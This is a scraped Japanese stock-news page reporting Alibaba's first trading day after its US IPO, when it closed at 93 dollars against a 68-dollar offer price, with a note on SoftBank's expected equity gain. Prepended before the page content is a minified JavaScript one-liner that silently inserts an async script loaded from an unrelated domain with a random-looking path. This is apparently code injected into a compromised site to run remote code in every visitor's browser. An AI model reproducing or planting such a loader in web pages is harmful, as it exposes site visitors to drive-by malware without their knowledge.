;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 中国アリババ株、初取引で38%急伸|【KabuLeaks 〜株リークス〜】
仕手株

中国アリババ株、初取引で38%急伸

19日に上々した中国のアリババグループは公募価格68ドルに対し、約38%上回る93ドルで初日の取引を終えた。企業価値を示す時価総額は2314億ドル、日本円にして約25兆円。今回のIPOは米国史上最大となった。更に追加分が引受業者に売却されれば、世界全体でも過去最大となる可能性がある。発行済み株式の3割強を握る筆頭株主であるソフトバンクは、2014年4~9月期の連結決算に約5000億円の持ち分変動利益を計上する見通しと発表。あくまで試算値であり利益確定後は改めて発表し、今後も保有し続ける方針とのことだ。しかし初日のこの価格上昇で株価はあっという間に割高価格となった。これからのアリババは業績の伸びや同業他社との競争、利益率の見通し、そして更なる売上高が求められ、正当な評価額であることを実証してもらいたい。